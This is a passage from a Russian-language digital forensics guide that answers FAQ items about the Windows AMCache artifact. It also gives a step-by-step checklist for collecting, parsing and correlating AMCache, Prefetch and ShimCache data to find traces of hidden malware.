A: Нет. AMCache хранит только метаданные файла (путь, хеш, размер, время). Аргументы командной строки хранятся в Prefetch (Windows 8/10/11) и в Event Log 4688 (если включен аудит). Для полного анализа всегда используйте связку AMCache + Prefetch + EVTX.
Q 09: Что делать, если AmcacheParser выдает ошибку "Not a registry hive"?
A: Файл поврежден. Попробуйте открыть его в Registry Explorer — он более устойчив к повреждениям. Если не открывается, используйте hex-редактор для ручного извлечения строк путей и SHA1-хешей. Также проверьте, не скопировали ли вы вместо `.hve` файл `.LOG1`.
Q 10: Можно ли использовать AMCache для расследования утечек данных?
A: Косвенно — да. Если вы обнаружите в AMCache запуск архиватора (WinRAR, 7-Zip) или утилиты для шифрования из нестандартной папки, это может указывать на подготовку к эксфильтрации. Но сам факт утечки AMCache не покажет, нужно анализировать сетевой трафик и USB-артефакты.
Q 11: Как часто Windows очищает AMCache?
A: Windows не очищает AMCache автоматически по расписанию. Файл растет по мере появления новых программ. Однако при больших обновлениях Windows или сбоях куст может быть пересоздан, что приведет к потере старых записей. Поэтому важно собирать AMCache как можно скорее после инцидента.
Q 12: Есть ли аналоги AMCache в Linux или macOS?
A: Прямых аналогов нет. В Linux для отслеживания запусков используются логи `auditd`, `bash_history`, `.Xauthority`, `recently-used.xbel`. В macOS — `Unified Logs`, `plist` файлы в `~/Library/Preferences/`, и артефакты Spotlight. Концепция AppCompat кэша уникальна для Windows из-за ее обратной совместимости.
16. Чек-лист: Найти следы скрытой малвари за 30 минут с помощью AMCache
Используйте этот чек-лист, когда у вас есть подозрение на скрытую активность, но стандартные логи молчат.Этап 1: Сбор и сохранение (5 минут)
- [ ] Скопировать `C:\Windows\AppCompat\Programs\AMCache.hve` и все файлы `.LOG1`, `.LOG2`, `.blf`.
- [ ] Скопировать `C:\Windows\AppCompat\Programs\RecentFileCache.bca` (если это Win 7/8).
- [ ] Скопировать куст `SYSTEM` (для ShimCache) и папку `C:\Windows\Prefetch`.
- [ ] Рассчитать хеши скопированных файлов для доказательства целостности (Chain of Custody).
Этап 2: Быстрый парсинг (5 минут)
- [ ] Запустить `AmcacheParser.exe -f AMCache.hve --csv Output\`.
- [ ] Запустить парсер для BCA (если есть), чтобы получить CSV с путями.
- [ ] Открыть результаты в Excel / Tableau / O365.
Этап 3: Фильтрация аномалий (10 минут)
- [ ] Отфильтровать по путям: оставить только `Temp`, `AppData`, `Public`, `Downloads`, `ProgramData`.
- [ ] Исключить известные легитимные пути (например, обновления антивируса в `ProgramData`).
- [ ] Отсортировать по `CompileTime`. Искать кластеры файлов с одинаковым временем компиляции.
- [ ] Проверить расширения: `.exe`, `.dll`, `.sys`, `.ps1`, `.hta`, `.vbs`.
Этап 4: Корреляция и вердикт (10 минут)
- [ ] Взять SHA1 подозрительных файлов и проверить в VirusTotal / локальной базе IoC.
- [ ] Найти эти SHA1 в Prefetch. Если есть — факт запуска доказан.
- [ ] Найти эти пути в ShimCache. Если флаг Executed = True — факт загрузки в память доказан.
- [ ] Построить мини-таймлайн: Появление в MFT -> Запись в AMCache -> Запуск (Prefetch).
- [ ] Зафиксировать результаты в отчете.
> 🤖 AMCache и RecentFileCache — это немые свидетели. Они не кричат об атаке, как сработавший антивирус. Они тихо записывают каждый шаг, надеясь, что кто-то придет и прочтет их записи. Ваша задача как DFIR-аналитика — научиться слышать этот шепот. Хакер может удалить логи, он может стереть Prefetch, но он почти всегда забудет про AMCache. И эта забывчивость стоит ему свободы.